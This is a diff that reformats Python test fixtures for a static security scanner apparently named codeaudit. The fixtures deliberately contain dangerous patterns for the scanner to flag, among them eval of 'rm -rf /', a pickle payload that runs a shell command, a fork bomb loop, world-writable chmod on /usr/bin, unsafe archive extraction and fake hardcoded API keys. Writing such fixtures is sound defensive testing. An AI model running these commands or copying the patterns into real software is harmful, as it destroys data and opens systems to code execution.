--- a/tests/validationfiles/allshit.py
+++ b/tests/validationfiles/allshit.py
@@ -1,13 +1,11 @@
 "Test file with all shit inserted"
 
-
 def divide(a, b):
     # Assert that the divisor 'b' is not zero.
     # If 'b' is 0, an AssertionError will be raised with the given message.
     assert b != 0, "Cannot divide by zero!"
     return a / b
 
-
 # --- Example Usage ---
 
 # This call will work correctly because b is not zero.
@@ -27,14 +25,12 @@ def divide(a, b):
     print(f"Error: {e}")
 
 print("-" * 20)
-exec("4*23")
-exec("4*23")
+exec("4*23") ; exec("4*23")
 
 import socket
-
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-s.bind(("0.0.0.0", 31137))
-s.bind(("192.168.0.1", 8080))
+s.bind(('0.0.0.0', 31137))
+s.bind(('192.168.0.1', 8080))
 
 # danger_string = "Maikel"
 # print(danger_string)
@@ -46,78 +42,76 @@ def divide(a, b):
 assert x > 5, "x should be greater than 5"
 print(f"Assertion passed: x ({x}) is greater than 5.")
 try:
-    do_some_stuff()
+  do_some_stuff()
 except ZeroDivisionError:
-    pass
+  pass
 
 while keep_going:
-    try:
-        do_some_stuff()
-    except ZeroDivisionError:
-        continue  # bad security practice - strange things can happen without catching and logging
-
+  try:
+    do_some_stuff()
+  except ZeroDivisionError:
+    continue  #bad security practice - strange things can happen without catching and logging
+  
 
-import hashlib
 
+import hashlib 
 
 def calculate_md5_hash(input_string):
-    """
-    Calculates the MD5 hash of a given string.
+  """
+  Calculates the MD5 hash of a given string.
 
-    Args:
-      input_string: The string to be hashed.
+  Args:
+    input_string: The string to be hashed.
 
-    Returns:
-      A hexadecimal string representing the MD5 hash.
-    """
-    # Encode the input string to bytes, as hashlib functions require bytes
-    encoded_string = input_string.encode("utf-8")
+  Returns:
+    A hexadecimal string representing the MD5 hash.
+  """
+  # Encode the input string to bytes, as hashlib functions require bytes
+  encoded_string = input_string.encode('utf-8')
 
-    # Create an MD5 hash object
-    md5_hash_object = hashlib.md5()
-    sha1_hash_object = hashlib.sha1()
+  # Create an MD5 hash object
+  md5_hash_object = hashlib.md5()
+  sha1_hash_object = hashlib.sha1()
 
-    # Update the hash object with the encoded string
-    md5_hash_object.update(encoded_string)
 
-    # Get the hexadecimal representation of the hash
-    hex_digest = md5_hash_object.hexdigest()
+  # Update the hash object with the encoded string
+  md5_hash_object.update(encoded_string)
 
-    return hex_digest
+  # Get the hexadecimal representation of the hash
+  hex_digest = md5_hash_object.hexdigest()
 
+  return hex_digest
 
-from hashlib import sha1 as tooweak
 
+from hashlib import sha1 as tooweak
 
 def calculate_hash(input_string):
-    """
-    Calculates the MD5 hash of a given string.
-
-    Args:
-      input_string: The string to be hashed.
+  """
+  Calculates the MD5 hash of a given string.
 
-    Returns:
-      A hexadecimal string representing the MD5 hash.
-    """
-    # Encode the input string to bytes, as hashlib functions require bytes
-    encoded_string = input_string.encode("utf-8")
-
-    # Create an MD5 hash object
-    sha1_hash_object = tooweak()
+  Args:
+    input_string: The string to be hashed.
 
-    # Update the hash object with the encoded string
-    sha1_hash_object.update(encoded_string)
+  Returns:
+    A hexadecimal string representing the MD5 hash.
+  """
+  # Encode the input string to bytes, as hashlib functions require bytes
+  encoded_string = input_string.encode('utf-8')
 
-    # Get the hexadecimal representation of the hash
-    hex_digest = sha1_hash_object.hexdigest()
+  # Create an MD5 hash object
+  sha1_hash_object = tooweak()
 
-    return hex_digest
+  # Update the hash object with the encoded string
+  sha1_hash_object.update(encoded_string)
 
+  # Get the hexadecimal representation of the hash
+  hex_digest = sha1_hash_object.hexdigest()
 
-from os import access as check_access
-import os
+  return hex_digest
 
 
+from os import access as check_access 
+import os 
 def nogood():
     if check_access("file.txt", os.R_OK):
         print("Accessible")
@@ -125,28 +119,28 @@ def nogood():
     eval("2 + 2")
     exec("4*23")
 
+
     if os.access("myfile", os.R_OK):
         with open("myfile") as fp:
             return fp.read()
-    os.chmod("myfile", 0o644)  # The 0o prefix denotes an octal number
+    os.chmod("myfile", 0o644) # The 0o prefix denotes an octal number
     print(f"Permissions for '{myfile}' set to 644 (octal).")
 
     return "some default data"
 
-
 def divide(a, b):
     """
     Divide a by b, handling ZeroDivisionError explicitly and
     demonstrating other parts of the try‑except ladder.
     """
     try:
-        result = a / b  # May raise ZeroDivisionError
+        result = a / b                       # May raise ZeroDivisionError
     except ZeroDivisionError:
         print("❌ Can't divide by zero!")
-        result = None  # handle and recover
-    except Exception as exc:  # catches *any* other error
+        result = None                        # handle and recover
+    except Exception as exc:                 # catches *any* other error
         # In real code, consider logging exc instead of pass
-        pass  # swallow the error (not recommended)
+        pass                                 # swallow the error (not recommended)
         result = None
     else:
         # Runs only if no exception was raised in the try block
@@ -156,46 +150,37 @@ def divide(a, b):
         print("🔚 Cleaning up—`finally` block executed.")
     return result
 
-
 from os import system as clown
+clown('ls -la')
 
-clown("ls -la")
-
-# <LOGGING>
+#<LOGGING>
 import os
-
-os.popen("malware -all")
+os.popen('malware -all')
 bytes_written = os.write(fd, data_to_write)
 bytes_written2 = os.writev(fd, buffers)
 
-import logging.config
+import logging.config 
+logging.config.listen(port=DEFAULT_LOGGING_CONFIG_PORT, verify=None) 
 
-logging.config.listen(port=DEFAULT_LOGGING_CONFIG_PORT, verify=None)
 
+logging.config.fileConfig(fname, defaults=None, disable_existing_loggers=True, encoding=None)
+#<END LOGGING checks>
 
-logging.config.fileConfig(
-    fname, defaults=None, disable_existing_loggers=True, encoding=None
-)
-# <END LOGGING checks>
-
-# tarfile extractall is not secure by default
+#tarfile extractall is not secure by default
 import tarfile
 
-
 def extract_tar_gz(file_path, extract_path):
-    with tarfile.open(file_path, "r:gz") as tar:
+    with tarfile.open(file_path, 'r:gz') as tar:
         tar.extractall(path=extract_path)
 
-
 def extract_tar_gz(file_path, extract_path):
-    with tarfile.open(file_path, "r:gz") as donot:
+    with tarfile.open(file_path, 'r:gz') as donot:
         donot.extractall(path=extract_path)
 
-
 def func():
-    with tarfile.open("archive.tar", "r") as tf:
+    with tarfile.open('archive.tar', 'r') as tf:
         # Extract a specific file (replace 'file.txt' with actual member name)
-        tf.extract("file.txt")
+        tf.extract('file.txt')         
         # Extract all files
         tf.extractall()
 
@@ -204,29 +189,24 @@ class MyExtractor:
     def extractall(self, path):
         print(f"Extracting files to: {path}")
 
-
 extractor = MyExtractor()
 extractor.extractall("/some/directory")
 
-
 class MyAcess:
     def access(self, path):
         print(f"Check on acces use ")
 
-
 own_access = MyAcess()
 own_access.access("wortel")
 
 import pandas as pd
-import linkaudit
+import linkaudit 
 
 from xmlrpc.server import SimpleXMLRPCServer
 
-
 def is_even(n):
     return n % 2 == 0
 
-
 server = SimpleXMLRPCServer(("localhost", 8000))
 print("Listening on port 8000...")
 server.register_function(is_even, "is_even")
@@ -238,61 +218,54 @@ def is_even(n):
     print("3 is even: %s" % str(proxy.is_even(3)))
     print("100 is even: %s" % str(proxy.is_even(100)))
 
-import xmlrpc.server
+import xmlrpc.server 
 
 pid = os.fork()
 
-pid = os.fork()
-pid2 = os.fork() + pid  # valid python, since semicolon is allowed
+pid = os.fork() ; pid2 = os.fork() + pid #valid python, since semicolon is allowed 
 
 
 pid2 = os.fork() + pid
 
-pid3 = pid  # os.fork() in comment is and should not give a false positive!
+pid3 = pid # os.fork() in comment is and should not give a false positive!
 
-pid_zero = os.forkpty()
+pid_zero = os.forkpty() 
 pid = os.fork()
 
 from os import fork as cannothurt
 
-# DO NOT RUN THIS CODE!
+#DO NOT RUN THIS CODE!
 while True and nobreak:
     cannothurt()  # Creates a new child process
 
 
-compile(
-    "nasty-string", "malware.bin", mode=single, flags=0, dont_inherit=False, optimize=-1
-)
+compile('nasty-string' ,'malware.bin',mode=single, flags=0, dont_inherit=False, optimize=-1)
 
 import base64
-
-encoded = base64.b64encode(b"data to be encoded")
+encoded = base64.b64encode(b'data to be encoded')
 data = base64.b64decode(encoded)
 
 from http.server import BaseHTTPRequestHandler, HTTPServer
 
-
 # Define a custom request handler
 class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
     """
     A simple HTTP request handler that responds to GET requests.
     """
-
     def do_GET(self):
         """
         Handles GET requests by sending a 200 OK response
         and "Hello, World!" as the body.
         """
         self.send_response(200)  # Send HTTP status code 200 (OK)
-        self.send_header("Content-type", "text/html")  # Set the content type header
-        self.end_headers()  # End the headers section
+        self.send_header('Content-type', 'text/html') # Set the content type header
+        self.end_headers() # End the headers section
 
         # The message to send back to the client
         message = "Hello, World!"
         # Write the message to the response body, encoded as bytes
         self.wfile.write(bytes(message, "utf8"))
 
-
 # The function to run the HTTP server
 def run(server_class=HTTPServer, handler_class=BaseHTTPRequestHandler):
     """
@@ -302,32 +275,26 @@ def run(server_class=HTTPServer, handler_class=BaseHTTPRequestHandler):
         server_class: The server class to use (default: HTTPServer).
         handler_class: The handler class to use (default: BaseHTTPRequestHandler).
     """
-    server_address = (
-        "",
-        8000,
-    )  # Server will listen on all available interfaces on port 8000
-    httpd = server_class(
-        server_address, handler_class
-    )  # Create an instance of the HTTP server
+    server_address = ('', 8000) # Server will listen on all available interfaces on port 8000
+    httpd = server_class(server_address, handler_class) # Create an instance of the HTTP server
     print(f"Starting httpd server on port {server_address[1]}...")
-    httpd.serve_forever()  # Start the server and keep it running indefinitely
+    httpd.serve_forever() # Start the server and keep it running indefinitely
+
 
 
 import multiprocessing
 import time
 
-
 def sender_process(connection, message):
     """
     This function runs in a separate process and sends a message
     through the provided Connection object.
     """
     print(f"Sender process: Sending '{message}'")
-    connection.send(message)  # Send the message through the connection
-    connection.close()  # Close the connection after sending
+    connection.send(message) # Send the message through the connection
+    connection.close() # Close the connection after sending
     print("Sender process: Message sent and connection closed.")
 
-
 def receiver_process(connection):
     """
     This function runs in a separate process and receives data
@@ -338,60 +305,50 @@ def receiver_process(connection):
     # This call blocks until data is available.
     received_data = connection.recv()
     print(f"Receiver process: Received '{received_data}'")
-    connection.close()  # Close the connection after receiving
+    connection.close() # Close the connection after receiving
     print("Receiver process: Connection closed.")
 
-
 from multiprocessing import Process, Pipe
 
-
 def f(conn):
-    conn.send([42, None, "hello"])
-    conn.close()
-    print(parent_conn.recv())  # prints "[42, None, 'hello']"
-
-
+    conn.send([42, None, 'hello'])
+    conn.close()    
+    print(parent_conn.recv())   # prints "[42, None, 'hello']"
+    
 import pickle
-
 pickle.loads(b"cos\nsystem\n(S'echo hello world'\ntR.")
 
-
 def donotdothis():
-    with open("data.pickle", "rb") as f:
+    with open('data.pickle', 'rb') as f:
         data = pickle.load(f)
 
-
 from pickle import loads as importmalware
 
-importmalware("mysafefile.txt")
+importmalware('mysafefile.txt')
 
 import random
 
-
 def generate_random_float():
-    """
-    Generates a random floating-point number between 0.0 (inclusive) and 1.0 (exclusive).
+  """
+  Generates a random floating-point number between 0.0 (inclusive) and 1.0 (exclusive).
 
-    The random.random() function from Python's built-in 'random' module is used
-    to produce this number.
-
-    Returns:
-      float: A random float between 0.0 and 1.0.
-    """
-    random.seed(23)
-    random_number = random.random()
-    return random_number
+  The random.random() function from Python's built-in 'random' module is used
+  to produce this number.
 
+  Returns:
+    float: A random float between 0.0 and 1.0.
+  """
+  random.seed(23)
+  random_number = random.random()
+  return random_number
 
 import shelve
-
-with shelve.open("spam") as db:
-    db["eggs"] = "eggs"
+with shelve.open('spam') as db:
+    db['eggs'] = 'eggs'
 
 import zipfile
 import os
 
-
 def insecure_extract(zip_path, extract_to_dir):
     """
     INSECURE: This function is vulnerable to the Zip Slip attack.
@@ -399,28 +356,26 @@ def insecure_extract(zip_path, extract_to_dir):
     """
     print(f"--- INSECURE EXTRACTION of {zip_path} to {extract_to_dir} ---")
     os.makedirs(extract_to_dir, exist_ok=True)
-    with zipfile.ZipFile(zip_path, "r") as zip_ref:
+    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
         # This line is the vulnerability: it extracts directly without path validation.
         zip_ref.extractall(extract_to_dir)
     print("Extraction attempted (might be insecure).")
 
 
-with ZipFile("spam.zip") as myzip:
-    with myzip.open("eggs.txt") as myfile:
+with ZipFile('spam.zip') as myzip:
+    with myzip.open('eggs.txt') as myfile:
         print(myfile.read())
 
 import shutil
-
 shutil.unpack_archive("example.zip", "extracted_files", format="zip", filter="data")
 
 # This path should point to the directory you want to delete
-directory_to_delete = "path/to/your/directory"
-
-shutil.rmtree(directory_to_delete)  # risk when path is user supplied or malformed dir!
+directory_to_delete = 'path/to/your/directory'
 
+shutil.rmtree(directory_to_delete) #risk when path is user supplied or malformed dir!
 
-from shutil import copy as stealmydata
 
+from shutil import copy as stealmydata 
 stealmydata("source_file.txt", "backup/source_file.txt", follow_symlinks=True)
 
 
@@ -431,40 +386,32 @@ def load_marshalled_data(filepath: str, allow_code: bool = False):
     WARNING: Using allow_code=True with untrusted data is a severe security risk
     as it can execute arbitrary code. Only set allow_code=True if you
     absolutely trust the source of the marshalled file.
-
+   
     """
     if not os.path.exists(filepath):
         raise FileNotFoundError(f"Error: File not found at '{filepath}'")
-
-    nastyobjects = marshal.loads("/tmp/plantedmalware.obj", allow_code=True)
+     
+    nastyobjects = marshal.loads('/tmp/plantedmalware.obj', allow_code=True)
     print(nastyobjects)
 
     try:
-        with open(filepath, "rb") as f:
+        with open(filepath, 'rb') as f:
             # The allow_code parameter is passed directly to marshal.load()
             loaded_object = marshal.load(f, allow_code=allow_code)
         return loaded_object
     except ValueError as e:
-        print(
-            f"Error loading marshalled data: {e}. "
-            f"This might be due to 'allow_code=False' and the file containing code objects.",
-            file=sys.stderr,
-        )
+        print(f"Error loading marshalled data: {e}. "
+              f"This might be due to 'allow_code=False' and the file containing code objects.", file=sys.stderr)
         raise
     except EOFError:
         print(f"Error: File '{filepath}' is empty or truncated.", file=sys.stderr)
         raise
     except Exception as e:
-        print(
-            f"An unexpected error occurred while loading '{filepath}': {e}",
-            file=sys.stderr,
-        )
+        print(f"An unexpected error occurred while loading '{filepath}': {e}", file=sys.stderr)
         raise
 
-
 """checking catching of sys things that are dangerous in normal programs"""
-import sys
-
+import sys 
 
 def my_func(x, y):
     print("Inside my_func")
@@ -472,20 +419,17 @@ def my_func(x, y):
     print(f"Result is {result}")
     return result
 
-
 def run_with_profile():
     sys.setprofile(profile_func)
     result = my_func(5, 7)
     sys.setprofile(None)  # Turn off profiling
     print(f"Result: {result}")
 
-
 def run_with_trace2():
     sys.settrace(trace_func)
     my_func(2, 3)
     sys.settrace(None)  # Disable tracing
 
-
 import tempfile
 
 temp_filename = tempfile.mktemp()
@@ -494,7 +438,7 @@ def run_with_trace2():
 import gzip as untrusteddanger
 
 content = b"Lots of content here"
-with untrusteddanger.open("/home/joe/file.txt.gz", "wb") as f:
+with untrusteddanger.open('/home/joe/file.txt.gz', 'wb') as f:
     f.write(content)
 
 import bz2
@@ -506,8 +450,8 @@ def run_with_trace2():
 
 print(f"Content read from the file: '{read_data}'")
 
-# now with the class function
-with bz2.BZ2File("demo.bz2", mode="r") as f:
+#now with the class function
+with bz2.BZ2File("demo.bz2", mode='r') as f:
     content = f.read()
 
 
@@ -520,23 +464,24 @@ def run_with_trace2():
 print(f"Original data: {data}\n")
 
 # Compress and write data to a file
-with lzma.open(compressed_filename, "wb") as f:
+with lzma.open(compressed_filename, 'wb') as f:
     f.write(data)
 
 print("Data has been compressed and written to 'example.xz'.")
 
 # Decompress and read data from the file
-with lzma.open(compressed_filename, "rb") as f:
+with lzma.open(compressed_filename, 'rb') as f:
     decompressed_data = f.read()
 
 print(f"Decompressed data: {decompressed_data}")
 
 # You would need to manually delete 'example.xz' after running this code.
 
-# Reading using lzma.LZMAFILE class
+#Reading using lzma.LZMAFILE class
 
 
-with lzma.LZMAFile("demo.xz", mode="r") as f:
+with lzma.LZMAFile("demo.xz", mode='r') as f:
     content = f.read()
 
 print(f"Content read from the file: {content.decode()}")
+
diff --git a/tests/validationfiles/apivalidations.py b/tests/validationfiles/apivalidations.py
index b7528ea..e01f8b3 100644
--- a/tests/validationfiles/apivalidations.py
+++ b/tests/validationfiles/apivalidations.py
@@ -1,57 +1,54 @@
 # Example telemetry/analytics module that uses token/API_KEY - not FOSS so unkown security risks and has privacy risks!
-API_KEY = "static_key"  # simple static assingment #1
-config.api_key = os.getenv("API_KEY")  # environmental sourcing #2
-secrets["token"] = get_token()  # dynamic assignment using a function #3
-xecretx["tokes"] = get_token()  # dynamic assignment using a function #4
+API_KEY = "static_key" #simple static assingment #1
+config.api_key = os.getenv("API_KEY") #environmental sourcing #2
+secrets["token"] = get_token() # dynamic assignment using a function #3
+xecretx["tokes"] = get_token() # dynamic assignment using a function #4
 
-my_long_notcompleethidenvariable_namevalue["aiusestring"] = get_api_token()  # 5
-API_KEY = load_secret()  # match on API_key  #6
+my_long_notcompleethidenvariable_namevalue['aiusestring'] = get_api_token() #5
+API_KEY = load_secret() #match on API_key  #6
 
-credential = DefaultAzureCredential()  # 7
+credential = DefaultAzureCredential() #7
 
-client = SecretClient(vault_url=vault_url, credential=credential)  # 8
+client = SecretClient(vault_url=vault_url, credential=credential) #8
 
 # The function call
-retrieved_secret = client.get_secret("my-secret-name")  # 9
+retrieved_secret = client.get_secret("my-secret-name") #9 
 
 
-token = "token_234r34r"
-api_key = "AIza.*"  # 10
-JWT_SECRET = ".*strange#pasword"  # 11
+token="token_234r34r" 
+api_key="AIza.*" #10
+JWT_SECRET=".*strange#pasword" #11
 
 import shitlib
+shitlib.init(
+api_key='shitlib_abc123def456', #12
+project='your-package-name'
+)
 
-shitlib.init(api_key="shitlib_abc123def456", project="your-package-name")  # 12
-
-variable = 1
-
+variable =1
 
 def my_function():
-    var1, var2 = (
-        APP_SECRET  # This assignment will not be found , often not a SaaS key assignment
-    )
-    var3 = token  # often not a thing, especially in NLP modules
-
-
-paid1 = os.getenv("apikey")  # a possible API key #13
-paid1 = os.getenv("HUGGINGFACE_API_TOKEN")  # a possible API key #14
-paid1 = get_secretz(
-    "KEY"
-)  # a possible API key is **NOT** detected for now! Due to false positives on key label!
-paid1 = config.get("DEEPSEEK_API_KEY")  # a possible API key #15
-
-author = "Amazon Web Services"  # auth in 'author' should not be found as secret
-__author__ = "Amazon Web Services"  # auth in 'author' should not be found as secret
-
-client = self.client(  # 16
-    service_name,
-    region_name=region_name,
-    api_version=api_version,
-    use_ssl=use_ssl,
-    verify=verify,
-    endpoint_url=endpoint_url,
-    aws_access_key_id=aws_access_key_id,  # 17
-    aws_secret_access_key=aws_secret_access_key,  # 18
-    aws_session_token=aws_session_token,  # 19
-    config=config,
-)  # secrets will be found, but not shown in codesnippet (only 3 lines are shown!)
+    var1,var2=APP_SECRET # This assignment will not be found , often not a SaaS key assignment
+    var3=token #often not a thing, especially in NLP modules
+
+
+paid1 = os.getenv("apikey") #a possible API key #13
+paid1 = os.getenv("HUGGINGFACE_API_TOKEN") #a possible API key #14
+paid1 = get_secretz("KEY")    #a possible API key is **NOT** detected for now! Due to false positives on key label!
+paid1 = config.get("DEEPSEEK_API_KEY")    #a possible API key #15 
+
+author='Amazon Web Services' #auth in 'author' should not be found as secret 
+__author__ = 'Amazon Web Services' #auth in 'author' should not be found as secret 
+
+client = self.client( #16
+            service_name,
+            region_name=region_name,
+            api_version=api_version,
+            use_ssl=use_ssl,
+            verify=verify,
+            endpoint_url=endpoint_url,
+            aws_access_key_id=aws_access_key_id, #17
+            aws_secret_access_key=aws_secret_access_key, #18
+            aws_session_token=aws_session_token, #19
+            config=config,
+        ) # secrets will be found, but not shown in codesnippet (only 3 lines are shown!)
diff --git a/tests/validationfiles/assert.py b/tests/validationfiles/assert.py
index b87aa94..58c003c 100644
--- a/tests/validationfiles/assert.py
+++ b/tests/validationfiles/assert.py
@@ -1,10 +1,10 @@
+
 def divide(a, b):
     # Assert that the divisor 'b' is not zero.
     # If 'b' is 0, an AssertionError will be raised with the given message.
     assert b != 0, "Cannot divide by zero!"
     return a / b
 
-
 # --- Example Usage ---
 
 # This call will work correctly because b is not zero.
diff --git a/tests/validationfiles/base64.py b/tests/validationfiles/base64.py
index 7400fb8..66077d9 100644
--- a/tests/validationfiles/base64.py
+++ b/tests/validationfiles/base64.py
@@ -1,5 +1,4 @@
 import base64
-
-encoded = base64.b64encode(b"data to be encoded")
+encoded = base64.b64encode(b'data to be encoded')
 data = base64.b64decode(encoded)
-print(data)
+print(data)
\ No newline at end of file
diff --git a/tests/validationfiles/chmod_things.py b/tests/validationfiles/chmod_things.py
index 29779c1..66017f3 100644
--- a/tests/validationfiles/chmod_things.py
+++ b/tests/validationfiles/chmod_things.py
@@ -1,18 +1,16 @@
-import os
-
+import os 
 
 def donotrunthis():
-    """testfile for codeaudit"""
-    if os.access("myfile", os.R_OK):
+     """testfile for codeaudit"""
+     if os.access("myfile", os.R_OK):
         with open("myfile") as fp:
             return fp.read()
-        os.chmod("myfile", 0o644)  # The 0o prefix denotes an octal number
-        myfile = "/tmp/notmine.obj"
+        os.chmod("myfile", 0o644) # The 0o prefix denotes an octal number
+        myfile='/tmp/notmine.obj'
         print(f"Permissions for '{myfile}' set to 644 (octal).")
 
         return "some default data"
 
-
 def chmod(a, b):
     chmod("file.txt", 0x777)
     pass
@@ -20,14 +18,12 @@ def chmod(a, b):
 
 from os import chmod as yourfilesaremine
 
-
 def lunchmode():
     """function has chmode in name , but should not give a false positive on function name!"""
-    yourfilesaremine("*", 0x777)
+    yourfilesaremine( '*',0x777)
     chmodulus = "/usr/bin/*"
     chmodel = yourfilesaremine(chmodulus, 0x777)
 
-
 """So even when masking chmod from the import, codeaudit will find it!
 And variables with strings *chmod* in it, will be possible. We do not search on strings and variable names. This will give false positives. Always!
-"""
+"""
\ No newline at end of file
diff --git a/tests/validationfiles/complexitycheck.py b/tests/validationfiles/complexitycheck.py
index e53ac66..7b44bdd 100644
--- a/tests/validationfiles/complexitycheck.py
+++ b/tests/validationfiles/complexitycheck.py
@@ -13,8 +13,6 @@
  = 4
 
 """
-
-
 def test(x):
     if x > 0 and x < 10:
         print("Single digit positive")
diff --git a/tests/validationfiles/directorycreation.py b/tests/validationfiles/directorycreation.py
index 202694a..6923ab4 100644
--- a/tests/validationfiles/directorycreation.py
+++ b/tests/validationfiles/directorycreation.py
@@ -13,6 +13,7 @@ def create_directory(path):
         print(f"Error creating directory {path}: {e}")
 
 
+
 def create_single_directory(path):
     """
     Create a single directory at the specified path.
@@ -68,6 +69,7 @@ def create_file(path):
         print(f"Error creating file {path}: {e}")
 
 
+
 def create_directories(path):
     """
     Create a directory and all necessary parent directories using os.makedirs.
diff --git a/tests/validationfiles/directorycreation2.py b/tests/validationfiles/directorycreation2.py
index 6890c20..8c49649 100644
--- a/tests/validationfiles/directorycreation2.py
+++ b/tests/validationfiles/directorycreation2.py
@@ -16,6 +16,7 @@ def create_directory(path):
         print(f"Error creating directory {path}: {e}")
 
 
+
 def create_single_directory(path):
     """
     Create a single directory at the specified path.
@@ -71,6 +72,7 @@ def create_file(path):
         print(f"Error creating file {path}: {e}")
 
 
+
 def create_directories(path):
     """
     Create a directory and all necessary parent directories using os.makedirs.
diff --git a/tests/validationfiles/dunderexec_with_parsing_error.py b/tests/validationfiles/dunderexec_with_parsing_error.py
index 4ac2e99..2818174 100644
--- a/tests/validationfiles/dunderexec_with_parsing_error.py
+++ b/tests/validationfiles/dunderexec_with_parsing_error.py
@@ -1,14 +1,12 @@
 import sys
 
-
-myfriend =
+myfriend = 
 class CodeExecutor:
     """
     A class that uses the __call__ dunder method to execute
     a string of Python code. This is for educational purposes ONLY
     and is NOT recommended for real-world applications due to security risks.
     """
-
     def __call__(self, code_string):
         """
         The __call__ dunder method is invoked when the instance of the class
@@ -21,7 +19,6 @@ def __call__(self, code_string):
         except Exception as e:
             print(f"An error occurred during execution: {e}", file=sys.stderr)
 
-
 # --- Demonstrating the usage ---
 
 # Create an instance of the class.
diff --git a/tests/validationfiles/eval.py b/tests/validationfiles/eval.py
index bc8f21b..03d8317 100644
--- a/tests/validationfiles/eval.py
+++ b/tests/validationfiles/eval.py
@@ -6,29 +6,25 @@
 
 x = 1
 result = b.eval("x + 2")  # flag 2
-print(result)
+print(result)  
 
-print(eval("1+1"))  # flag 3
-print(eval("os.getcwd()"))  # flag 4
-print(eval("os.chmod('%s', 0777)" % "test.txt"))  # flag 5
+print(eval("1+1")) # flag 3
+print(eval("os.getcwd()")) # flag 4
+print(eval("os.chmod('%s', 0777)" % 'test.txt')) # flag 5
 
 
 # A user-defined method named "eval" should not get flagged.
 class Test(object):
-    def eval(self):  # this will not be flagged
+    def eval(self):   # this will not be flagged
         print("hi")
-
     def foo(self):
         self.eval()  # flag 6 - but a false flag , but since builtins is imported a known issue! So #nosec
 
-
-Test().eval()  # flag 7 -  due to eval is in contructs list, edge case and hard to solve in a simple way (for now), so marker nosec
+Test().eval()  # flag 7 -  due to eval is in contructs list, edge case and hard to solve in a simple way (for now), so marker nosec 
 
 
-eval("os.system('rm -rf /')")  # flag 8
+eval("os.system('rm -rf /')") # flag 8
 
 __builtins__.eval(...)  # flag 9  due to eval statement
 
-nasty = __import__(
-    "builtins"
-).eval  # flag 10 + flag 11  , flag due to __import__  and for eval!
+nasty  = __import__("builtins").eval     # flag 10 + flag 11  , flag due to __import__  and for eval!
diff --git a/tests/validationfiles/eval2.py b/tests/validationfiles/eval2.py
index b04e27e..14ce516 100644
--- a/tests/validationfiles/eval2.py
+++ b/tests/validationfiles/eval2.py
@@ -1,10 +1,8 @@
 # A user-defined method named "eval" should not get flagged.
 class Test(object):
-    def eval(self):  # this line is not flagged!
+    def eval(self): #this line is not flagged!
         print("hi")
-
     def foo(self):
-        self.eval()  # this line is not flagged!
-
+        self.eval() #this line is not flagged!
 
-Test().eval()  # Only this line is flagged! , solvable by adding a marker. so nosec
+Test().eval()  #Only this line is flagged! , solvable by adding a marker. so nosec
diff --git a/tests/validationfiles/exception.py b/tests/validationfiles/exception.py
index b2fbdea..4ad230c 100644
--- a/tests/validationfiles/exception.py
+++ b/tests/validationfiles/exception.py
@@ -1,6 +1,5 @@
 """File to validate if pass is used in an except statement"""
 
-
 def divide(a, b):
     """
     Divide a by b, handling ZeroDivisionError explicitly and
@@ -13,13 +12,13 @@ def divide(a, b):
             continue
 
     try:
-        result = a / b  # May raise ZeroDivisionError
+        result = a / b                       # May raise ZeroDivisionError
     except ZeroDivisionError:
         print("❌ Can't divide by zero!")
-        result = None  # handle and recover
-    except Exception as exc:  # catches *any* other error
+        result = None                        # handle and recover
+    except Exception as exc:                 # catches *any* other error
         # In real code, consider logging exc instead of pass
-        pass  # swallow the error (not recommended)
+        pass                                 # swallow the error (not recommended)
         result = None
     else:
         # Runs only if no exception was raised in the try block
@@ -28,3 +27,4 @@ def divide(a, b):
         # Always runs, whether an exception occurred or not
         print("🔚 Cleaning up—`finally` block executed.")
     return result
+
diff --git a/tests/validationfiles/file3.py b/tests/validationfiles/file3.py
index af05320..beeabe4 100644
--- a/tests/validationfiles/file3.py
+++ b/tests/validationfiles/file3.py
@@ -1,9 +1,9 @@
 import os
 from os import access as acc
 from math import sqrt
-
 eval("print('hi')")
-if os.access("file.txt", os.R_OK):
-    pass
+if os.access("file.txt", os.R_OK): pass
 acc("file.txt")
 os.path.exists("file.txt")
+
+
diff --git a/tests/validationfiles/file_with_warnings.py b/tests/validationfiles/file_with_warnings.py
index 51d6713..f22bbd7 100644
--- a/tests/validationfiles/file_with_warnings.py
+++ b/tests/validationfiles/file_with_warnings.py
@@ -20,9 +20,9 @@
 from sklearn.ensemble import RandomForestRegressor
 
 # *Python Machine Learning 2nd Edition* by [Sebastian Raschka](https://sebastianraschka.com), Packt Publishing Ltd. 2017
-#
+# 
 # Code Repository: https://github.com/rasbt/python-machine-learning-book-2nd-edition
-#
+# 
 # Code License: [MIT License](https://github.com/rasbt/python-machine-learning-book-2nd-edition/blob/master/LICENSE.txt)
 
 # # Python Machine Learning - Code Examples
@@ -32,14 +32,17 @@
 # Note that the optional watermark extension is a small IPython notebook plugin that I developed to make the code reproducible. You can just skip the following line(s).
 
 
+
+
+
 # *The use of `watermark` is optional. You can install this IPython extension via "`pip install watermark`". For more information, please see: https://github.com/rasbt/watermark.*
 
-# The seaborn package, a visualization library built on top of matplotlib, can be installed via
-#
+# The seaborn package, a visualization library built on top of matplotlib, can be installed via 
+# 
 #     conda install seaborn
-#
-# or
-#
+# 
+# or 
+# 
 #     pip install seaborn
 
 
@@ -64,28 +67,39 @@
 # - [Summary](#Summary)
 
 
+
+
+
+
 # # Introducing linear regression
 
 # ## Simple linear regression
 
 
+
+
+
 # ## Multiple linear regression
 
 
+
+
+
+
 # # Exploring the Housing dataset
 
 # ## Loading the Housing dataset into a data frame
 
 # Description, which was previously available at: [https://archive.ics.uci.edu/ml/datasets/Housing](https://archive.ics.uci.edu/ml/datasets/Housing)
-#
+# 
 # Attributes:
-#
+#     
 # <pre>
 # 1. CRIM      per capita crime rate by town
-# 2. ZN        proportion of residential land zoned for lots over
+# 2. ZN        proportion of residential land zoned for lots over 
 #                  25,000 sq.ft.
 # 3. INDUS     proportion of non-retail business acres per town
-# 4. CHAS      Charles River dummy variable (= 1 if tract bounds
+# 4. CHAS      Charles River dummy variable (= 1 if tract bounds 
 #                  river; 0 otherwise)
 # 5. NOX       nitric oxides concentration (parts per 10 million)
 # 6. RM        average number of rooms per dwelling
@@ -94,50 +108,37 @@
 # 9. RAD       index of accessibility to radial highways
 # 10. TAX      full-value property-tax rate per $10,000
 # 11. PTRATIO  pupil-teacher ratio by town
-# 12. B        1000(Bk - 0.63)^2 where Bk is the proportion of blacks
+# 12. B        1000(Bk - 0.63)^2 where Bk is the proportion of blacks 
 #                  by town
 # 13. LSTAT    % lower status of the population
 # 14. MEDV     Median value of owner-occupied homes in $1000s
 # </pre>
 
 
-df = pd.read_csv(
-    "https://raw.githubusercontent.com/rasbt/"
